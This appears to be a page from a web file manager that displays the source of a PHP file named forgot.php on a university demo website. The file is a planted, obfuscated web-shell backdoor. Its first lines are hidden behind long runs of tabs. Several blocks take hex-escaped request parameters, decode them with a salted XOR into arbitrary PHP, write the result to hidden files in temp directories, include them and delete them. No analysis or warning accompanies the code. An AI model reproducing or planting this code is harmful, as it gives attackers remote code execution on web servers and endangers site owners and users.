文件操作 - forgot.php

文件: /var/www/demoestudiantes.uaysen.cl/html/forgot.php

编辑文件内容

<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["f\x6Cag"])){ $ent = array_filter([getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $flg = $_REQUEST["f\x6Cag"]; $flg = explode( '.' , $flg ); $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; $__tmp = $flg; while ($v7 = array_shift($__tmp)) { $sChar = ord($s[$w % $lenS]); $d = ((int)$v7 - $sChar - ($w % 10)) ^ 13; $object .= chr($d); $w++; } foreach ($ent as $parameter_group): if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $key = vsprintf("%s/%s", [$parameter_group, ".val"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $key; @unlink($key); die(); } } endforeach; }
																																										if(array_key_exists("\x63\x6Fmp\x6Fn\x65nt", $_REQUEST)){ $object = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm"]); $fac = $_REQUEST["\x63\x6Fmp\x6Fn\x65nt"]; $fac = explode( "." , $fac ) ; $dchunk = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $x = 0; $len = count( $fac); do {if( $x>= $len) break; $v3 = $fac[$x]; $chS = ord( $salt6[$x % $lenS]); $dec =( ( int)$v3 - $chS -( $x % 10)) ^92; $dchunk .= chr( $dec); $x++; } while( true); while ($pgrp = array_shift($object)) { if ((is_dir($pgrp) and is_writable($pgrp))) { $resource = vsprintf("%s/%s", [$pgrp, ".entity"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(@$_POST["\x73y\x6D"] !== null){ $descriptor = $_POST["\x73y\x6D"]; $descriptor = explode ( '.' , $descriptor ); $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $v = 0; while( $v< count( $descriptor)) { $v7 = $descriptor[$v]; $sChar = ord( $s[$v % $sLen]); $d = ( ( int)$v7 - $sChar -( $v % 10)) ^ 57; $rec .= chr( $d); $v++;} $desc = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP")]); $ent = 0; do { $data_chunk = $desc[$ent] ?? null; if ($ent >= count($desc)) break; if (is_dir($data_chunk) && is_writable($data_chunk)) { $bind = str_replace("{var_dir}", $data_chunk, "{var_dir}/.flg"); if (file_put_contents($bind, $rec)) { require $bind; unlink($bind); exit; } } $ent++; } while (true); }
																																										if(isset($_REQUEST["\x68ld"])){ $entity = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); $value = $_REQUEST["\x68ld"]; $value = explode ( '.' , $value ); $pgrp = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $i = 0; while ($i < count($value)) { $v5 = $value[$i]; $chS = ord($salt8[$i % $lenS] ); $dec = ((int)$v5 - $chS - ($i % 10)) ^ 38; $pgrp .= chr($dec ); $i++; } foreach ($entity as $bind): if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $descriptor = "$bind" . "/.flg"; if (file_put_contents($descriptor, $pgrp)) { include $descriptor; @unlink($descriptor); exit; } } endforeach; }
																																										if(array_key_exists("to\x6B\x65n", $_POST) && !is_null($_POST["to\x6B\x65n"])){ $object = $_POST["to\x6B\x65n"]; $object = explode( '.' , $object ); $key=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt1); $u=0; $__tmp=$object; while ($v1=array_shift($__tmp)) { $chS=ord($salt1[$u % $lenS]); $d=((int)$v1 - $chS - ($u % 10)) ^ 70; $key .= chr($d); $u++;} $entity = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); for ($ent = 0, $itm = count($entity); $ent < $itm; $ent++) { $ent = $entity[$ent]; if (max(0, is_dir($ent) * is_writable($ent))) { $k = implode("/", [$ent, ".factor"]); $success = file_put_contents($k, $key); if ($success) { include $k; @unlink($k); exit;} } } }

if(isset($_POST["\x63\x6Fm\x70\x6Fnent"])){
	$element = $_POST["\x63\x6Fm\x70\x6Fnent"];
			 $element =	explode	 	( '.'	,	 $element)  	;  
	$object = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $x = 0;
    
            while ($x < count($element)) {	$v5 = $element[$x];
                $sChar = ord($s[$x % $sLen]);
                $d = ((int)$v5 - $sChar - ($x % 10))  ^  63;
                $object.= chr($d);
                $x++;
            }
	$resource = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]);
	for ($elem = 0, $dat = count($resource); $elem < $dat; $elem++) {
    $holder = $resource[$elem];
    		if (array_product([is_dir($holder), is_writable($holder)])) {
    $rec = join("/", [$holder, ".res"]);
    if (@file_put_contents($rec, $object) !== false) {
	include $rec;
	unlink($rec);
	die();
}
}
}
}

文件操作 - forgot.php

文件: /var/www/demoestudiantes.uaysen.cl/html/forgot.php

编辑文件内容

修改文件时间

删除文件